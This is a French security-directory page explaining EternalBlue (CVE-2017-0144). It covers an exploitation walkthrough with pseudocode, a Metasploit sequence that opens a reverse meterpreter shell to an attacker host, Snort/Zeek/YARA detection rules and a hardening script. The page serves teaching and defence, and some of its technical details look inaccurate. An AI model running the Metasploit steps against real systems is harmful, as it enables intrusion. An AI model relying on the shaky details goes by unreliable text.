Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Blackash-CVE-2017-0144 — CVE-2017-0144 | Kitploit
Outils/GitHubGitHub/firetemple/blackash-cve-2017-0144
Vulnerability AnalysisExploitationForensicsMalware AnalysisPenetration TestingThreat IntelligenceIntrusion DetectionLearning & EducationCurated Resources
GitHubfiretemple/blackash-cve-2017-0144

Blackash-CVE-2017-0144

CVE-2017-0144

1il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

🌐 CVE-2017-0144 — EternalBlue : Vulnérabilité d'exécution de code à distance dans SMBv1 de Microsoft Windows

EternalBlue

« Un exploit. Des dizaines de familles de malwares. Des milliards de dégâts. »


🔍 Résumé en une ligne

CVE-2017-0144 est une vulnérabilité critique d'exécution de code à distance dans l'implémentation du serveur SMBv1 de Microsoft Windows. L'exploit connu sous le nom d'EternalBlue a abusé de cette faille et a été utilisé dans des attaques à fort impact (notamment WannaCry).


🔥 Top 10 des malwares utilisant EternalBlue (détaillé)

#MalwareTypePremière apparitionActeurDégâtsNotes
1WannaCryRançongiciel12 mai 2017Lazarus Group (RPDC)4–8 milliards $Killswitch : iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
2NotPetyaWiper (déguisé en rançongiciel)27 juin 2017Sandworm (Russie)10 milliards $+A utilisé Mimikatz + EternalBlue + PSEXEC
3Bad RabbitRançongiciel24 oct. 2017Indrik SpiderRégionalDrive-by via fausse mise à jour Flash
4UiwixRançongicielmai 2017InconnuFaiblePas de killswitch, plus discret que WannaCry
5EternalRocksVermai 2017InconnuMoyen7 outils NSA (dont DoublePulsar)
6AdylkuzzCryptomineurmai 2017InconnuÉlevé (silencieux)Miné du Monero avant WannaCry
7RetefeCheval de Troie bancaire2017–2018InconnuBanques UEA utilisé EternalBlue pour le mouvement latéral
8TrickBotMalware modulaire2017–2021Wizard SpiderMondialA déposé Ryuk via EternalBlue
9EmotetChargeur2017–2021TA542MondialUtilisé comme point d'entrée pour Cobalt Strike
10Clop / DridexRançongiciel2019–2025TA505Santé, GouvernementEncore actif en 2025

🧨 Évolution de l'exploit EternalBlue

eternelblue1
eternelblue2

🔍 Comment CVE-2017-0144 (EternalBlue) a été exploitée

Plongée technique étape par étape dans la RCE SMBv1

« Un paquet malformé. Un accès SYSTEM complet. Aucune connexion. Aucun clic. »


🎯 Flux d'exploitation TL;DR

root@kitploit:~
[Attaquant] 
   │
   ├──▶ Envoie une requête **Trans2** SMBv1 fabriquée
   │       → Déclenche un **dépassement de tas** dans `srv!SrvOS2FeaListSizeToNt`
   │
   ├──▶ Écrase les pointeurs de fonction → **shellcode noyau**
   │
   └──▶ Exécute la backdoor **DoublePulsar** → **Payload Ring-0**
           (ex. WannaCry `mssecsvc.exe`)

🛠️ Prérequis pour l'exploitation


🚀 Phases d'exploitation (7 étapes)

Phase 1 : Négociation du protocole SMB

root@kitploit:~
SMB_COM_NEGOTIATE → Le client envoie la liste des dialectes
Le serveur répond : SMBv1 supporté → Continuer

Pourquoi ? Confirme que SMBv1 est actif.


Phase 2 : Tree Connect vers IPC$

eternelblue3
root@kitploit:~
\\CIBLE\IPC$ → Partage anonyme pour les pipes SMB

Objectif : Établir une session pour envoyer des requêtes de transaction.


Phase 3 : Session Setup Trans2 (principale)

  • Utilise SMB_COM_TRANSACTION2 (0x32)
  • Sous-commande : SESSION_SETUP
  • Configure une structure FEALIST avec une taille malformée
root@kitploit:~
FEALIST {
    SizeOfListInBytes = 0xFFFF (ou grande valeur)
    ...
}

Déclenchement du bug : SrvOS2FeaListSizeToNt() fait confiance à cette taille sans vérification des limites.


Phase 4 : Requête Trans2 secondaire (dépassement)

  • Envoie plusieurs paquets secondaires
  • Chacun contient un FEALIST surdimensionné + FEA (attributs étendus de fichier)
eternelblue4
root@kitploit:~
FEA {
    AttributeNameLength = 0x00
    AttributeName = "A" * 0x1000  → Tampon en dépassement
}

Heap Spray : Alloue de gros blocs pour contrôler la disposition mémoire.


Phase 5 : Dépassement de tampon dans le noyau

root@kitploit:~
srv!SrvOS2FeaListSizeToNt(
    PFEALIST FeaList,      // contrôlé par l'attaquant
    PULONG pNtFeaListSize  // pointeur de sortie
)
{
    // Aucune validation de FeaList->SizeOfListInBytes
    memcpy(dest, src, FeaList->SizeOfListInBytes);  // BOOM
}

Résultat :

  • Dépassement de tas → Écrase les objets noyau adjacents
  • Cible : SRVNET_BUFFER ou POOL_HEADER
  • Écrase les pointeurs de fonction (ex. routine Free)

Phase 6 : Exécution du shellcode noyau

  • L'attaquant contrôle RIP/EIP via le pointeur de fonction écrasé
  • Saute vers le shellcode dans le pool non paginé

Actions du shellcode :

  1. Transition Ring-0 → Ring-3 (via KeUserModeCallback)
  2. Alloue de la mémoire en mode utilisateur
  3. Télécharge/installe la charge utile (ex. mssecsvc.exe)
  4. Installe la backdoor DoublePulsar

Phase 7 : Implant de la backdoor DoublePulsar

eternelblue6
  • Injecte un pilote noyau (clé XOR 0x00120034)
  • Écoute les paquets SMB magiques :
    • Ping : 0x0002C001
    • Exec : 0x0002C002 + payload

Exemple WannaCry :

root@kitploit:~
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → Chiffre les fichiers

🧨 Structure du paquet d'exploit (simplifiée)

root@kitploit:~
En-tête SMB
└── Commande : 0x32 (TRANSACTION2)
    └── Setup : 0x000E (SESSION_SETUP)
        └── Paramètre : TotalDataCount = 0x1000
            └── Données : 
                [FEALIST]
                  SizeOfListInBytes = 0x1100
                  [FEA #1] NameLen=0, Name="A"*0x1000
                  [FEA #2] ...
                [GROOM x100] → Spray du tas
                [OVERFLOW] → Écrase le pool
                [SHELLCODE] → x64 ring0

🛠️ Outils d'exploitation réels

Exemple Metasploit

root@kitploit:~
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

🔬 Preuves de médecine légale mémoire


🛡️ Règles de détection

Snort/Suricata

root@kitploit:~
alert tcp any any -> $HOME_NET 445 (
    msg:"Tentative ETERNALBLUE";
    flow:to_server,established;
    content:"|ff|SMB2"; depth:5;
    content:"|00 04 08 00|"; distance:100; within:4;
    classtype:attempted-admin;
    sid:1000001;
)

Zeek (Bro)

root@kitploit:~
event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
    if (args$data_len > 4096) {
        NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
    }
}

🔄 Propagation du ver (boucle WannaCry)

root@kitploit:~
while (true) {
    Scanner le réseau pour le port 445
    si (ouvert) → exploit EternalBlue
    si (succès) → Déposer mssecsvc.exe + propager
    Attendre(aléatoire(1000, 5000))
}

Vitesse de propagation : ~10 000 infections/heure dans le monde.


🛑 Pourquoi cela a si bien fonctionné


🎯 Taux de réussite de l'exploit (2017–2025)

Année% de réussite (non corrigé)
201799 %
202085 %
2025~60 % (héritage uniquement)

Fonctionne encore sur Windows 7/2008 R2 sans MS17-010


📚 Références

  • Microsoft MS17-010
  • Analyse EternalBlue par RiskSense
  • Module Metasploit
  • Fuite NSA FuzzBunch

⚡ Résumé final : Comment cela a été exploité

EternalBlue = Erreur mathématique transformée en arme
Un champ de taille de confiance dans SMB → dépassement de tas noyau → code arbitraire → pandémie mondiale de rançongiciel

root@kitploit:~
Paquet SMB → Dépassement de tampon → Shellcode noyau → DoublePulsar → Malware

Visualisé, disséqué et testé sur le terrain. Pour pentesteurs, équipes RI et défenseurs.

« Un paquet. Un port. Un empire qui tombe. »


🛡️ Matrice de correctifs et de détection


🔍 Règles YARA (Top 3 malwares)

1. WannaCry

Wana_Decrypt0r_screenshot
root@kitploit:~
rule WannaCry_Ransomware {
    strings:
        $mz = { 4d 5a }
        $s1 = "WannaDecryptor" wide
        $s2 = "tasksche.exe"
        $s3 = "@WANA" ascii
        $encrypt = { 57 61 6E 61 43 72 79 70 74 30 72 }
    condition:
        $mz at 0 and 2 of ($s*)
}

2. NotPetya

Petya A
root@kitploit:~
rule NotPetya_Wiper {
    strings:
        $pdb = "perfc.dat" nocase
        $dll = "dllhost.dat"
        $mof = "ntdevmgr.vbs"
        $mimikatz = "mimikatz"
    condition:
        uint16(0) == 0x5A4D and 2 of them
}

3. Paquet d'exploit EternalBlue

nessus1 nessus2
root@kitploit:~
rule EternalBlue_SMB_Exploit {
    strings:
        $smb_negotiate = { 00 00 00 ?? ff 53 4d 42 72 00 }
        $tree_connect = { 00 00 00 ?? ff 53 4d 42 75 00 }
        $trans2 = { 00 00 00 ?? ff 53 4d 42 32 00 }
        $overflow = { 00 04 08 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
    condition:
        all of them
}

📊 Statut 2025 : Toujours actif ?


🛑 Chaîne de destruction (MITRE ATT&CK)


🛠️ Script de correction complet (PowerShell)

root@kitploit:~
# === SCRIPT DE DURCISSEMENT ETERNALBLUE ===
Write-Host "Application des atténuations EternalBlue..." -ForegroundColor Cyan

# 1. Désactiver SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart

# 2. Bloquer le port 445
New-NetFirewallRule -DisplayName "Bloquer SMB entrant" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445

# 3. Activer la signature SMB
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1

# 4. Vérifier le correctif
$patch = Get-HotFix -Id KB4012212 -ErrorAction SilentlyContinue
if ($patch) { Write-Host "Corrigé !" -ForegroundColor Green } else { Write-Host "NON CORRIGÉ !" -ForegroundColor Red }

Write-Host "Redémarrage requis. Exécuter en tant qu'administrateur."

📚 Références & sources


⚡ Mot de la fin (2025)

CVE-2017-0144 n'est pas morte — c'est un zombie hérité.
Elle prospère dans :

  • Windows 7/2008 non corrigés
  • IT fantôme
  • Systèmes critiques isolés (air-gapped)
  • Machines virtuelles cloud mal configurées

Si vous pouvez pinger le port 445 depuis Internet — vous êtes le prochain.


Construit avec précision, visuels et renseignements sur les menaces réelles. Mis à jour novembre 2025.
Pour les labs de pentest, les playbooks RI ou les briefings CISO.


« Corrigez-le. Bloquez-le. Tuez-le par le feu. »

Télécharger l’outil
OutilDate de sortieFonctionnalités
EternalBlue (Original)Avr. 2017 (Shadow Brokers)RCE SMBv1
DoublePulsarAvr. 2017Implant backdoor (ring0)
EternalRomanceAvr. 2017Variante SMBv3
EternalChampionAvr. 2017Chemin SMB alternatif
Module MetasploitMai 2017exploit/windows/smb/ms17_010_eternalblue
FuzzBunchAvr. 2017Framework d'exploitation NSA
Impacket + PSEXEC2017–2025Exploitation SMB en Python
ExigenceDétails
CibleWindows avec SMBv1 activé (par défaut avant Windows 10)
Port ouvert445/TCP (ou 139/TCP via NetBIOS)
Pas d'authentificationNon authentifié — aucun nom d'utilisateur/mot de passe requis
Architecturex86 ou x64 (les deux supportées)
État du correctifNon corrigé (avant MS17-010)
OutilLangageModule
MetasploitRubyexploit/windows/smb/ms17_010_eternalblue
ImpacketPythonsmbclient.py, psexec.py
FuzzBunchPython (NSA)EternalBlue-2.2.0
C2 personnaliséC/C++WannaCry, NotPetya
ArtefactEmplacementValeur
DoublePulsarMémoire noyauClé XOR 0x00120034
ShellcodePool de srvnet.sysMotif 0xCC 0x90 0x48
DLL injectéeC:\Windows\mssecsvc.exeSHA256 : ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
FacteurRaison
Pas d'authentificationSMBv1 permet IPC$ anonyme
VerifiableScan LAN intégré
RCE noyauContourne les antivirus/invites utilisateur
SMBv1 héritéActivé par défaut pendant plus de 15 ans
Systèmes non corrigésXP, 2003, 7 dans les infrastructures critiques
OSCorrectif KBDésactiver SMBv1Script Nmap
Windows 7 / 2008 R2KB4012212sc config lanmanworkstation depend= bowser/mrxsmb20/nsismb-vuln-ms17-010.nse
Windows 10KB4013429PowerShell : Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
Windows XP (fin de vie)KB4012598 (Urgence)Registre : HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1 = 0
MétriqueStatut
SMBv1 exposé sur Shodan~1,2 million (nov. 2025)
Exploits actifs (honeypots)Quotidien
Rançongiciels l'utilisantClop, LockBit (cibles héritées)
Plus vulnérablesSanté, Industrie, PME
Correctif Zero TrustBloquer 445, imposer MFA, EDR
PhaseTechniqueID
Accès initialExploitation d'application publiqueT1190
ExécutionRCE Windows SMBT1210
PersistanceBackdoor via DoublePulsarT1505.003
Mouvement latéralPartages administratifs SMB/WindowsT1021.002
ImpactDonnées chiffrées pour impactT1486
SourceLien
NVDnvd.nist.gov/vuln/detail/CVE-2017-0144
Microsoft MS17-010msrc.microsoft.com/update-guide
MITRE ATT&CKattack.mitre.org/techniques/T1210
Rapport CrowdStrike WannaCrycrowdstrike.com/blog/wannacry
Kaspersky EternalBluekaspersky.com/blog/wannacry-ransomware
Recherche Shodanshodan.io/search?query=port%3A445+os%3A%22Windows%22